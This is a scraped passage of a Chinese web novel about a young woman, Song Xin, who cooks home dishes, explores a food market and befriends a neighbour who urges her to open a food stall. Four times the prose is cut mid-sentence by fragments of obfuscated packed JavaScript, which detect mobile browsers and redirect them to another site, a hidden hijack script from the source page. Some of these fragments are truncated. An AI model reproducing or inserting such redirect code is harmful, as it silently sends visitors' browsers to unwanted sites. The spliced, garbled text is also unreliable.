RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495469|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背面，是一条短街。 里面有好多人摆摊，熙熙攘攘，刚一走近，就感受到了烟火气。 讨价还价的声音夹杂在一起，走在其中，宋薏的情绪也慢慢好转。 等她的注意力转回来，突然发现身边的宋鑫不见了，路上人不算很多，她向后看的时候就找到了她姐，蹲在一个老奶奶面前。 宋薏走过去，看到了宋鑫在看什么，老奶奶面前放了一块深色的布，上面摆着几小瓶金黄色的东西，阳光穿透玻璃瓶，宋薏认出里面的是桂花。 她也学着宋鑫的样子蹲在旁边，拿起一瓶看了看，里面的液体在缓慢流动。 “奶奶，你这个白糖桂花做的很地道啊。”旁边的宋鑫说话了。 老奶奶也在这边等了一上午，就因为价格问题，很多想买的都放弃了，觉得太贵了，这次看到一个识货的，激动回答，“是咧，这都是我自己家的桂花，一点点挑干净，还加了青梅泥，做成这样可不容易。” 宋鑫只透过瓶子就知道这个白糖桂花的品质绝对好，不过她还是要自己尝一下，毕竟价格不便宜，还是尝了，有保证了再买。 听到宋鑫要尝一尝，老奶奶也没有生气，而是从背后的袋子里面拿出了一个小瓶，还有一双一次性筷子，宋鑫看到心里暗暗点头，这个白糖桂花的卫生是有保障了。 老奶奶是个讲究人，她注意到那个袋子里还有一个小袋子，好像是用过的筷子，宋鑫记得自己刚才没有在这条街上看到垃圾桶。 宋鑫用一根筷子挑了一点，吃到嘴里的没有任何异味，是品质相当不错的白糖桂花，现在宋鑫觉得老奶奶的要价都低了，这么好的品质，价格再往上浮一半，她也会买的。 没有杂质，没有奇怪味道，桂花的香味被完美保存了下来，她都不敢想如果用这种白糖桂花做糕点、糖果，还可以冲调饮品，配粥也可以。 沉浸在自己想象中的宋鑫回过神，看到眼巴巴的宋薏，问过老奶奶，用剩下的一根筷子挑了一点给她了，宋薏吃到嘴里，连震撼的话语都说不出了，果然民间有高人，跟着她姐永远有好吃的，宋鑫头顶好像自带美味雷达。 一挥手，宋鑫把老奶奶这里的白糖桂花全包下来了，就连这还剩半瓶的试吃也没有落下，全买走了。 老奶奶笑呵呵的给她包好，宋鑫从口袋里掏出现金付了出去，这是她之前留下的习惯了，菜市场和路边总有很多老人摆摊，这些人有的根本不会用手机。 时间一长，宋鑫出门就会带着现金，万一路上碰到什么想买的，恰好卖家还是老人，她就会问人家要不要现金。 买好之后，先分给了宋薏一瓶。 等她们再回到宋奶奶这里，已经四点半了，宋鑫突然想到自己的行李，她把自己买的白糖桂花分给宋爷爷宋奶奶一份。 连忙催宋志明和李云华回家，她和快递员约好了时间。 宋鑫坐在车里摆手，让宋爷爷宋奶奶赶紧进屋，外面太冷了，两位老人穿的不多，容易感冒。 5. 糖醋萝卜片 忙了两天，宋鑫看着大变样的卧室，狠狠松了一口气。 从奶奶家回来之后，除了要收拾自己在外半年购买的各种东西，还要接受邻居的问候。 当时送去各家的炸小肉丸堪称小成本大回报的典范，现在客厅还有很多水果、糕点，美名其曰，炸小肉丸的回礼。 宋志明和李云华每天去上班的时候都要带一大盒水果和糕点，努力消耗。 宋鑫则开始在家过起了自由的生活，活了二十多年，除了小学之前的那段时光，这几天竟然是她难得的放松时刻。 没有升学的压力，没有工作的压力，不愁吃住，手里恰好还有一点存款，难得感受到了自由。 早上起来，宋鑫有些手痒，今天做点什么好呢，她昨天做了酱黄瓜，前天做了凉拌藕片，吃了两天大鱼大肉，就想吃点清爽的菜。 好了，她看到厨房里放着几个青萝卜，青翠水嫩，水灵灵的模样看着就让人口齿生津，今天就做糖醋萝卜片，做好了明天早上煮个白粥，再加个鸡蛋。 一口绵软的白粥，配上酸甜脆爽的萝卜片，再把鸡蛋掰开，有些噎的蛋黄上面铺上一片糖醋萝卜片，萝卜自带的糖醋汁浸到蛋黄里面，把蛋黄染上了新滋味。 想一想就要流口水了。 说干就干，宋鑫在群里问过，确定这个青萝卜没有其他的用处，直接把家里所有青萝卜切片腌上了，注意，这里是用白糖腌的。 用白糖杀出萝卜的水分，腌好的糖醋萝卜片吃起来一点都不涩口，也不会出现太咸的情况。 腌到萝卜看起来蔫巴了，盆里面有好多水，用白糖腌的萝卜也不用再次淘洗，宋鑫吃上一口，好脆，脆甜脆甜的。 把萝卜重新放进一个盆里面，加上多多的醋，还有适量的香油、花椒油、生抽、盐等调料，宋鑫能吃辣，还加了一点小米椒，拌一拌。 在装罐的时候，宋鑫时不时吃一片，咔滋咔滋的，好吃，之后做什么呢。 她在家里琢磨各色小菜的时候，不知道楼下的邻居每天都想要偶遇她，可惜工作的人和处于休假状态的她时间完全对不上。 楼下邻居王意这几天虽然没有闻到上周六那天那么有冲击力的香味，可就是有一种奇怪的直觉，楼上的邻居肯定又做好吃的了，她闻到了料油的味道。 要说这离得近也有离得近的坏处，闻得到吃不到，真的太痛苦了。 偏偏王意还是一个典型的理工女，不善言辞这四个字就差刻在她的脑门上了，但又偏偏是一个隐藏的吃货，每个月的恩格尔系数拉满。 想来想去，王意从群里知道做出美味的是楼上邻居的女儿，年纪也不大，或许她可以主动出击，直接找对方，然后获得她的联系方式。 出于职业习惯，她又想了几个计划，觉得还是多一点真诚，少一点套路，直接一点比较好，就是楼上邻居的女儿不在业主群里，王意还要在下班之后找时间，但她也不想直接上门，太冒昧了。 宋鑫没有在业主群里，首先宋志明和李云华都在，这几年宋鑫在家的时间又比较少，干脆就不进群里面了。 也幸好宋鑫不在，群里好多都是看着她长大的邻居，大多数人都很好，可也有那极个别的人，就想着占便宜，从大人身上占不到，就要借着长辈的身份压人一头占便宜。 王意为了偶遇宋鑫，她也不知道宋鑫长什么样子，她有一次从楼上看到楼上夫妻俩和一个女孩子在楼下散步，只看到了背影。 后来她就注意到，对方其实很爱散步，王意也一改每天下班家里一躺的习惯，天天吃过晚饭也在小区里遛弯。 接连走了三天，王意也没有遇到宋鑫，今天倒是发现了小区里的一个小广场，这么冷的天还有人跳广场舞。 还别说，现在跳广场舞的大爷大妈也跟上了潮流，她们用的那个音响竟然是定向播放的，只有大爷大妈那个方向可以听到声音，在其他方位听不到。 王意佩服，这样真的很好，既不扰民，也丰富了大爷大妈的兴趣爱好。 宋鑫也看到了，她也是第一次见到这种东西，边走边伸头看，很感兴趣的样子，一不小心就和王意撞上了。 双方同时后退一步，王意率先注意到的熟悉的衣服，和她认识的楼上邻居家女儿穿的衣服一模一样，原来如此，得来全不费工夫。 王意已经忘记自己踏破铁鞋无觅处的时候了。 想要和对方打招呼，可惜社恐久了，一下子不知道如何开口。 宋鑫则是非常茫然，她刚刚好像撞到人了，对方没有摔倒，目前看起来也没有大碍，就是不知道对方为什么突然用那种狂热的眼神看向她。 宋鑫不自觉地后退了一步，感觉很奇怪啊。 还好对面的女生接下来说话了，宋鑫看着她呆了好一会儿，突然问她，“你好，请问你是住在23栋五楼吗？” 宋鑫疑惑，仔细观察王意，难道真撞出来毛病了？ 她迟疑着回了一个“是。” 还没等她问对方，就听到对方一连串的话语，“那你是不是姓宋啊，我的天，你做饭真的太香了，我一直想和你认识一下……” 听了一长串的话语，宋鑫才意识到对方的意思，不好意思地说道，“也还好啦，就是自己在家做着吃一点。” 这时候她们两个已经离开了小广场，听到这句话，王意马上开始反对，“你这还叫还好，太谦虚了，那个味道能把我香晕过去。” 接着不等宋鑫反驳，接着说道，“你要是摆个小摊，或者开个小饭馆，生意肯定特别好，我一定会天天光顾。” 王意图穷匕见，试探宋鑫有没有这方面的想法，说实话她要是有这个手艺还上什么班，摆摊就可以让她暴富了。 看到宋鑫开始思考，似乎从来没有过这方面的想法，她也有些震惊。 “不是，你手艺这么好，没有想过这些吗？”王意不敢置信，难道自己竟然是第一个提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495470|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。 当然不是，只要尝过宋鑫的手艺，都会有一些这方面的想法，可是宋鑫一直在按部就班的上学工作，没有考虑过自己单独去做。 或许是到了合适的时间，宋鑫刚刚结束一份糟糕的工作，可是毕业又没多久，对很多事情还有自己的想法。 王意的话点醒了她，反正她最近也不知道自己要做什么，摆一摆摊好像也不错。 “我觉得你可以先看看，你也说了最近没什么事情嘛，可以多尝试尝试。”王意想了想说道，“可以先从低成本的做起嘛。” 宋鑫觉得她说的很对，两个人越聊越投机，聊到最后，和最开始的话题一已经截然不同了，王意工作之后也鲜少有这么放松的时候。 王意虽然是一个内向的人，但一旦和人熟悉起来，丝毫见不到她内向的模样，而人和人熟悉起来就靠缘分，宋鑫和王意，显然是有缘分的，年龄也没差几岁，两人在聊天中发现，她们对很多问题的看法都一致。 俩人还一起去小区外面买了热乎乎的奶茶喝，最后还是看时间不早了，才一起回家。 在和王意的聊天中，宋鑫产生了很多想法，不过都不是能一蹴而就的，她要先考察一下市场。 宋鑫和王意一起进到电梯里，看着电梯上的数字飞快变动，她想起王意说过的话，在对方准备出电梯的时候问她，“我家里还有做多的糖醋萝卜片，你吃不吃。” 一只脚已经迈出电梯的王意又撤了回来，“吃吃吃！宋鑫你太好了。” 王意没有想到还有意外之喜，不过想了想，她还是出电梯，准备回家找出她的好吃零食分享给宋鑫。 “你先上去，我有特别好吃的零食，等我去拿。”王意说完又出了电梯。 她回到家里就是一通翻找，她的手艺一般般，所以家里有很多速食和各色零嘴。 王意拿着一个大袋子，挑着好吃的拿了一袋子，这才出门去了楼上。 宋鑫看到王意的这一大袋零食，又看了看自己手里小小的一个罐子，给王意留下一句等一下，又回到家里，把自家的水果糕点也装了一包。 拿着糖醋萝卜片的王意刚进家门，就迫不及待从厨房拿了筷子，夹起一片萝卜，她不是一个爱吃萝卜的人，尤其是青萝卜，味道太呛了。 糖醋萝卜片吃到嘴里，王意要撤回自己刚刚的想法，萝卜就是最好吃的，糖醋萝卜片就是最好吃的小菜，如果这种手艺摆摊还成功不了，那只能是大家的味蕾都消失了。 一点点涩口都没有，真的好好吃啊，从此以后她是糖醋萝卜片派，王意一边想着一边吃，不知不觉就吃掉了半罐。 等她回过神，看着剩下的小半罐萝卜片，连忙盖上盖子放进冰箱，不能再吃了，今天吃完明天就没得吃了。 且吃且珍惜啊，真希望宋鑫能够早点摆摊，卖什么都行，一个糖醋萝卜片让她无条件相信宋鑫的手艺，连这种简单小菜都做的这么好吃，更何况其他的了。 6. 鸡汤馄饨 虽然有了一点打算，可是现在临近过年，不管是证件的办理，还是物品的准备，都是需要时间的，宋鑫只能先准备着，随时查缺补漏，等能够摆摊也是过完年的事情了，现在的她有更重要的事情。 今天是腊月二十一，周六，天气晴朗，她们一家三口要早起去菜市场。 菜市场好啊，宋鑫喜欢菜市场，尤其是早上的菜市场，她在网上看过东北的早市视频，和家里菜市场的早上很像，但也有一些区别，她家这边没有那么早。 她家这边，六点之前的菜市场，基本上是批发市场，等六点5后，天色微亮，才是散客的主场。 宋鑫家住在老城区，这个大型菜市场离的也不远，步行半小时就能到，要是开车就更快了，一脚油门就能到。 她们三个本来是想走路去的，就当锻炼身体了，结果一出门，互相看了看，宋鑫和宋志明李云华步调一致地走向了停车场。 早上这么冷的吗，已经好长时间没有这个点出过门的宋鑫有点怀疑人生，她把帽子戴好，手缩进了袖子里面。 回头一看，宋志明和李云华也没有好到哪儿去。 她们家里最爱逛菜市场的是宋鑫，宋鑫不在家的日子，宋志明和李云华去菜市场的日子很有限，尤其是入冬天气渐冷，她们两个更不会大早上去菜市场了。 这次会同意一起去，一个是舍命陪君子，宋鑫真的很想去，另一个就是她俩想吃菜市场里的煎饼了，只有刚做好的最好吃，带回来就软了。 进了菜市场，三人兵分两路，宋志明和李云华直奔煎饼摊，老板还打着哈欠，锅还是凉的，她们是今天的第一批客人。 如果再早一会儿，老板都不一定在。 李云华走近看了看熟悉的摊子，“老板，来两份煎饼果子，一份多放辣，加火腿肠、培根和辣条，还有一份少放辣，加里脊和肉松。” 李云华点了两份，宋鑫过来的路上就说了，她不一定吃这个，如果要吃的话，她自己来买，提前做好的放一放就不脆了。 最近北风大，天气尤其干燥，宋志明不能吃辣的，可是又馋，刚刚和李云华说了好久，才得到了微辣的煎饼果子。 “好嘞，葱花香菜要不要？”老板一边加热锅，一边询问她们。 “都要！” 锅一热起来，就看到老板熟练的舀出一勺面糊，开始摊煎饼，这家的煎饼不是软趴趴的那种，那种也很好吃，但人嘛，有时候就想换换口味。 这家的饼皮干巴脆，刚做好的煎饼拿在手里轻轻用力，煎饼的边缘就会碎成渣，配合豆浆食用最佳。 老板的动作很快，等宋志明的煎饼拿到手，李云华已经把自己的煎饼吃掉三分之一了，没办法，太久没吃，着实想念。 从家里出来的时候她就饿了，煎饼逐渐成熟散发出来的香味更是刺激她的胃，煎饼一拿到手，她就迫不及待吃了起来。 两个人边吃边走，李云华吃的有点干，想买杯豆浆，就和宋志明朝着另一边走去，走到一半在一个摊位旁边看到了宋鑫。 宋鑫和父母分开之后，就朝着菜市场里面走，到处看一看，感受着最平凡又幸福的生活，熙熙攘攘的人群中时不时传来讲价的声音。 走着走着她也有点饿了，她今天的打算是先做一些市场调查，看看现在都有什么新鲜菜，她之后准备炸一批年货，看看这边都有什么，到时候提前来买。 正当她路过熟食区的时候，忽然闻到了一股鸡汤的香气，细细萦绕在鼻间，无端的勾人。 循着香气走过去，在拐角处竟然有一家鸡汤馄饨，没有很大的招牌，只是在摊子前面竖了一块小小的板子，上面写着鸡汤馄饨，七元一份。 此时正好有一个人要了一碗馄饨，宋鑫就在不远处看着，老板熟练地煮着包好的馄饨，小巧玲珑的馄饨熟的很快，她很快把熟透的馄饨盛进碗里，随后打开旁边一个大锅。 锅一打开，宋鑫就知道香气的来源了，她不由自主地走近了一些，鸡汤的味道更加浓郁，只见老板没有加多余的调料，往碗里加了一大勺鸡汤，这碗鸡汤馄饨就好了。 宋鑫不舍的看着这碗鸡汤馄饨被老板端给之前的那位顾客，看着老板回来，迫不及待走到摊子前面，“老板，给我也来一碗馄饨。” 说完就扫码付款，坐到旁边支起的小桌子那儿等着自己的馄饨。 这次可以光明正大的看了，借着地理优势，宋鑫可以清楚的看到馄饨在水里沉沉浮浮，薄薄的馄饨皮很快就挡不住里面的肉馅。 这家的馄饨肉馅给的也不少，老板还在一旁包馄饨，肉馅看着也很新鲜。 看着自己的馄饨被老板端过来，宋鑫下意识说了句“谢谢”。 老板指了指桌子上的辣椒醋，笑了笑，“不用谢，我还要感谢你买我的馄饨呢，辣椒醋都在这里了，要吃自己加。” 宋鑫没有急着加辣椒，而是先用勺子尝了一口馄饨汤，真好喝，尝了就知道是花时间精力炖出来的鸡汤，就在她准备吃馄饨的时候，李云华过来了。 “鑫鑫，你吃这些吃的饱吗？”由于每次宋鑫来菜市场都会大开吃戒，导致中午都吃不下饭，李云华看着宋鑫和她面前的馄饨，虽然是挺大一碗，可都是汤汤水水的，不像宋鑫早上会吃的。 没等李云华接着说话，宋志明也过来了，看着她们还想说什么，宋鑫眼疾手快让李云华尝了一口鸡汤，李云华下意识张开嘴。 品出味道之后马上开口点餐，“老板，两份馄饨。” 她之前和宋志明一起来的时候没有看到过这家馄饨，也不知道是来的太晚，还是这家摊子摆起来没有多长时间。 李云华和宋志明也不去买豆浆了，这鸡汤和煎饼虽然没有那么搭，可是好喝啊，馄饨看起来肉感十足，也很好吃。 看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495471|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋鑫一口一个馄饨，吃着煎饼的夫妻俩有些食不知味，时不时探头看自己的馄饨煮的怎么样了，李云华都想让老板先给自己把汤盛了，等会儿馄饨好了直接给她放碗里。 鸡汤馄饨是很好吃，可真这么馋人也不至于，主要架不住旁边有个吃播，宋鑫吃起来实在是太香了，就这一小会儿的功夫，已经给馄饨摊招揽了小十位客人。 她吃完，李云华和宋志明才吃到一半，后者朝她摆摆手，她就自己溜达去了。 这个菜市场确实大，宋鑫走了好一会儿，才来到生鲜区，手里还拎着刚刚买的一袋酱香饼，刚刚出炉的酱香饼，刷上好吃的酱，被切成一块一块的。 宋鑫实在抵挡不住这个诱惑，这家饼店只卖酱香饼和千层饼，她家的千层饼在宋鑫看来就是没有刷酱的酱香饼，所以也可以说这家店只卖一种饼，可以选择刷不刷酱。 这家店存在时间很长了，宋鑫往前翻自己的记忆，她初中的时候这家店就存在了，此后凭借一种饼在菜市场屹立不倒。 宋鑫在进生鲜区之前，小心的给酱香饼袋子打好结，她准备速战速决，热热的饼不能捂住，时间长了，也会变软，还会变油，就需要重新加热。 好长时间没来，生鲜区的规规又有了一些改变，不过品质还是一如既往的不错，这个菜市场是宋鑫所在区最大的一个菜市场，管理监督也特别严格。 时不时就有工作人员走过，保证买卖双方的利益。 宋鑫走过一个个摊位，各种肉类各个部位都很齐全，她这两天只需要考虑一下想吃哪些，到时候来买就行了。 在生鲜区走马观花逛了一圈，宋鑫边吃自己的酱香饼，边逛着豆制品区，黄豆真是一个伟大的存在啊，宋鑫喜欢各种豆制品，只要做的好吃她都可以。 不过豆制品，她知道一家做的特别好的，不在菜市场里面，在外面有自己的店铺，到时候早上去买就行了。 那一家的豆腐做的尤其好，没有什么豆腥味，老豆腐很实在，切片放锅里煎一煎，不管是撒上调味粉马上吃，还是接着加调料炒，都是一道美味的菜。 嫩豆腐更不用说了赶在大早上买上一块水嫩的豆腐，中午切块，放上辣椒粉炖煮，最后一勾芡，盛上满满一勺放在米饭上，能香死个人。 还能把豆腐放在冰箱里冻上，变成冻豆腐，炖排骨炖肉的时候加上一块，经过冷冻形成的孔洞吸满了汤汁，一口下去比肉还好吃，如果想省时间，店里也有做好的冻豆腐可以买。 这是一对姐妹俩开的店，店名就叫姐妹俩豆制品批发，她们店里还有千张、腐竹、豆干等很多豆制品，品质都很好，她们俩的口碑也很好，很多饭店都在她们那里拿货。 又在菜市场走了走，宋鑫和父母汇合之后，三人一起把剩下的地方看了一遍，宋鑫心里有了数，临走之前又去买了一份煎饼果子，走了这么多路，她吃的东西都消化了。 7. 蜂糖糕 说这话的时候，她手里还有刚买的包子、糖炒栗子，还有一袋荷叶包着的腐乳。 宋志明和李云华对视一眼，吃吧吃吧，能吃是福。 宋鑫回到家里，先把包子放冰箱，又找了个盘子装糖炒栗子，其实宋志明和李云华也买了不少东西，不过都是一些炒货，各种口味的花生瓜子，还有一些坚果。 用夫妻俩的话讲就是，快过年了，早晚都要买，早买早享受，宋鑫看着说这话的宋志明，忍住了没有问他上火起的口腔溃疡不疼了吗。 总之，这次菜市场收获不小，最让宋鑫惊喜的就是这个腐乳了。 她已经很久没有看到这种被荷叶包着的腐乳了，上一次看到都是她小的时候了。 这种在她们这里叫做红方，还有一种青方，都是用荷叶包着的，那种青方宋鑫说不上喜不喜欢，会吃但不会刻意去买，打开是青灰色，有一些臭臭的，味道还不错。 这种红方是宋鑫很喜欢，带着一点点甜味，不像有的腐乳甜的过头，这个没有任何汤汁，打开荷叶，就是一块一块的黏在一起，红方配上馒头，宋鑫可以吃掉三个馒头，毫不夸张。 宋鑫家里这边的小年是腊月二十三，按照传统习俗，今天要祭灶神，有俗语就是“二十三糖瓜粘”。 但是上大学的时候，宋鑫有一个舍友家里是南方的，很南边，她说她家里那边的习俗，小年是腊月二十四，但很神奇的是，不管是哪一天，老一辈的都会祭灶神。 方式也都不一样，有的买灶糖，有的烙红糖火烧，还有的会买芝麻糖之类的，宋鑫家里会做甜的糕点，和红糖火烧有异曲同工之妙。总之，一个宿舍四个人，说出了四种过年习俗。 今年的小年，宋鑫想在家里做一些蜂糖糕，往年没有做过这个，喜欢的人会很喜欢，不喜欢的人一口也吃不下。 她不准备做很多，就算四位老人都很喜欢吃，可是里面要用到猪板油，还有巨量的糖，吃多对身体不好。 所以为了避免大家吃多了身体不舒服，还是少做一点比较好。 除此之外，反正都准备蒸东西了，宋鑫准备再做一点花卷，吃不完的冻在冰箱里面，不想做饭的时候叮一下就好了，还好吃，有一种特殊的油香味。 只要买一些猪板油，其他的材料家里都有，宋鑫也没有去大菜市场，就在家旁边的小超市直接买了。 她提前让老板把猪板油的皮切掉了，剩下的部分也切成了小块，这样回去就不用麻烦了，宋鑫想着就开心，现在通讯发达，她还记得自己小时候跟着妈妈来买肉，只有买的量大一些，才可以选择用机器打肉片肉丝肉末，要是买的不多还想切成块，根本不可能。 现在就不一样了，服务越来越好，真方便呀。 宋鑫出门之前就把面活好发上了，因为天气太冷，她专门把面放在烤箱里面发酵，这一来一回也不少时间，回到家面发的刚刚好。 把切好的猪板油加进做蜂糖糕的面里，加白糖揉匀，接着发酵。 趁着这个时间，宋鑫把花卷需要的调料混合在一起，有的人做花卷会单独刷油撒干料，宋鑫喜欢把油和花椒面辣椒面一起搅拌均匀，刷在擀好的薄片上。 这样做的好吃就是调料均匀，不会出现一口味道重，一口味道又很轻的状况。 等蜂糖糕发酵好，宋鑫的花卷已经做好了，看着摆的整整齐齐的花卷，宋鑫已经能想象到二十分钟后的美味了。 花卷开始蒸了，这边端着再次发酵好的蜂糖糕面团来到了阳台上，今天的北风正好，发好的面要放在通风的地方晾透，才能放在笼屉里面蒸。 等她在阳台上整理好蜂糖糕面团，花卷已经好了。 为了配这个花卷，她专门拿出一个小碟子，上面放着一块前两天买到的红方，还夹了几片糖醋萝卜片，还有一些酸豆角，加在一起放了满满一小碟。 先把花卷从蒸笼里拿出来，之后宋鑫迫不及待地拿起一个冒着热气的花卷，烫到忍不住左手倒右手，最后还是把花卷放进了碗里，拿了一双筷子。 宋鑫吃花卷喜欢一层一层剥着吃，尤其是这种自家做的、层次分明的花卷，一口下去，扎实的口感让人感动。 是碳水和油脂合二为一的香味，外面卖的过于暄软，没有嚼劲，又剥了一层花卷下来，宋鑫已经空口吃了半个。 等配着小菜把剩下的半个吃完，她想了想，又拿了一个花卷，从零食柜里翻出了一袋辣条，还是王意那天给她的，都是小包装，也不用怕开封吃不完，还搞得家里一直有辣条的味道散不掉。 宋鑫觉得花卷和辣条也很配，就要这种甜辣口的，不能用咸辣口味的辣条，花卷本身就是咸口偏麻辣的，再搭配一个咸的，口味会重合。 甜辣味的辣条就不一样了，把花卷撕下来一大圈，中间不要压断，把辣条倒在花卷上面，另一半花卷再盖住这个辣条。 一个简易版的辣条花卷三明治就做成了，真的超级好吃！ 宋鑫吃的很满足，最后足足吃完了三个半花卷，两袋辣条，还有一碟小咸菜。 即使已经很撑了，她看着剩下的花卷，突然又想起，这个花卷和卤味之类的应该也很搭，不过胃里实在没有空间了，不能马上尝试。 吃完东西就要活动一下，宋鑫走到厨房，找出家里的蜜枣，看样子已经放了有一段时间了，不过这种硬硬的蜜枣不怕放。 是脆冬枣和糖一起做成的，宋鑫吃这个东西必须是在粥或者甜米饭里面，蜜枣粽子也可以，总之是空口吃是万万不可能的。 宋鑫觉得自己空口吃一个，摄入的糖原可以让自己一口气做五套数学试卷，能量充沛。 蜂糖糕里用到的蜜枣也是要切碎和青红丝混合在一起，也只可以只加一种，看个人口味。 宋鑫是看着家里有，就都用上了，最重要的是这个青红丝她再不用，感觉就要放坏了，要抓紧时间把它们吃掉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495472|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为了能尽快把面团晾透，宋鑫还把家里的风扇找了出来，对着面团使劲吹，再加上外面北风的助力，下午这个面团就晾透了，主要还是天气干燥。 蒸笼下面垫上笼布，把面团整理好，又在上面撒上蜜枣和青红丝，直接用大火开蒸。 在等待的时刻，宋鑫是有些紧张的，这是她第一次做蜂糖糕，以前都是在爷爷奶奶或者姥姥姥爷那里蹭着吃一点，她也不知道最后做出来的味道是什么样的，会不会好吃。 但是步骤应该没有错，她之前就看过人家做蜂糖糕，应该没有问题吧。 差不多到了时间，宋鑫怀揣着忐忑的内心掀开了盖子。 看到最后的成品，马上松了一口气，不管味道怎么样，外表很好看。 从蒸笼里把蜂糖糕倒出来，宋鑫用小刀切了一块，嗯，没问题，味道也很好，还是一样的松软香甜呢。 可以给奶奶和姥姥送去，也可以用来祭灶，是好吃的。 因为害怕蜂糖糕失败，宋鑫早上还一起买了一袋芝麻酥糖作为祭灶的备选，现在这个用不上了。 不过没有白买，芝麻酥糖也很好吃，一口下去，芝麻香、麦芽糖的香味，全都在嘴里爆发，脆脆同时又带着一点糖的黏，但又不会粘牙。 怕甜的人可以配上一杯略微苦涩的清茶，就是味觉的享受。 跑远了，芝麻酥糖还在袋子里面装着呢，不着急吃，现在的重点是蜂糖糕，宋鑫把蒸好的蜂糖糕切成麻将大小的方块。 打包了两盒，她在自己给奶奶和姥姥送去，还是等父母下班之后让她们分别去送的选择当中，飞快用手机下了两单跑腿。 在A或者B中，选择了或者。 在等待跑腿上门的时间里，宋鑫把蜂糖糕仔细包装好，又把蒸好的花卷也各打包了一份，都装进了宋鑫这几天喝奶茶的保温袋里面。 她还学着外卖的样子用订书机给保温袋封了口。 看吧，就说喝奶茶有用，保留袋子也有用，宋鑫骄傲.jpg 准备好，跑腿竟然一起到了，也不用做区分，东西都是一样的，送走跑腿，关上门，宋鑫就分别给奶奶和姥姥打了电话，告诉她们一会儿会有人给她们送自己刚刚做好的蜂糖糕，还有一袋花卷。 宋奶奶和李姥姥也不多话，电话一挂，红包前后脚就到了，一人200，宋鑫捂脸，奶奶和姥姥是多怕她没钱啊。 回来两周，她已经收到了爷爷奶奶姥姥姥爷很多红包了，各种事情都可以给她发红包，刚一开始都是给她转账，宋鑫不要，就变成了红包，不收不行。 真是甜蜜的烦恼，宋鑫看着自己的余额，嘿嘿笑出了声。 正当她傻笑的时候，宋志明在她们一家三口的群里发了一张照片，是一袋琥珀桃仁，宋鑫和李云华都很爱吃。 接着就是一条语音，“我下班看到路边有在卖这个的，是现炒现卖的，就买了一袋，我尝了味道很好。” 8. 桂花糖年糕 宋鑫紧随其后发了一个‘鞠躬’的表情包表示感谢，琥珀桃仁，好久没吃了，想吃。 最后，用来祭灶的是宋鑫做的蜂糖糕，因为琥珀桃仁在宋志明刚拿回家没有多长时间，就被李云华和宋鑫吃掉了一半。 剩下的一半也在第二天被宋鑫当做早饭吃掉了。 她把空袋子发到群里，配了一个‘可怜但能吃’的表情包，宋志明看到之后马上就说等下班再过去看看还有没有卖的，这次多买一点。 过了一天，宋鑫看着突然更新朋友圈的李谈，突然想起回来之后还没有见过他，打开聊天记录，看到自己信誓旦旦的说去探望他。 但事实上，要是李谈没有发朋友圈，宋鑫可能要到吃年夜饭的时候才能想起他，在家里的日子实在是太快乐了。 宋鑫想了想，还是从床上起来了，只要不是突发奇想要早起去买东西，宋鑫回到家里，从来没有在九点之前下床。 这次为了去看李谈，八点半就起来了，可喜可贺，宋鑫把这件事告诉李谈，得到了一个愤怒的表情。 上班上到火大的李谈现在看什么都不顺眼，不是说当老师好，老师轻松，还有社会地位，每年还会放寒暑假，这些假期加在一起就有三个月了。 可自从李谈上班以来，就觉得所谓的寒暑假是一个笑话，那时小孩的假期，不是他们这些打工人的，学生放假他们要加班，学生开学，他们要提前去学校，好不容易还有中间那几天，还要搞调研。 看到宋鑫说中午要过来，顺便给自己送些东西，李谈高兴起来，接着和宋鑫说了两句话，就被喊去开会了，开完会，还要紧赶着去上课。 宋鑫起来，也不在家里吃早饭了，直接出去吃，吃完顺便买菜回来做饭，等到了时间去找李谈。 本来想去吃碗面，结果走到半路，宋鑫又看到一家店在炸油条，马上被吸引了。 现切现炸，老板夫妻配合默契，面胚进了油锅很快就会浮起来，变得金黄，等到彻底成熟，就会被捞出来放在一旁的镂空篮子里面沥油。 不再迟疑，宋鑫走进店里，要了三块钱的油条，一块钱一大根，又要了一碗豆浆，加了一大勺糖，刚炸出来的油条轻轻掰下来一块放进热乎乎的豆浆里面。 趁着油条没有完全泡软，马上夹起放进嘴里，因为时间太短，油条的外壳还保持着酥脆，里面又吸饱了甜甜的豆浆。 吃上一口，寒冷的冬天都变得温暖起来。 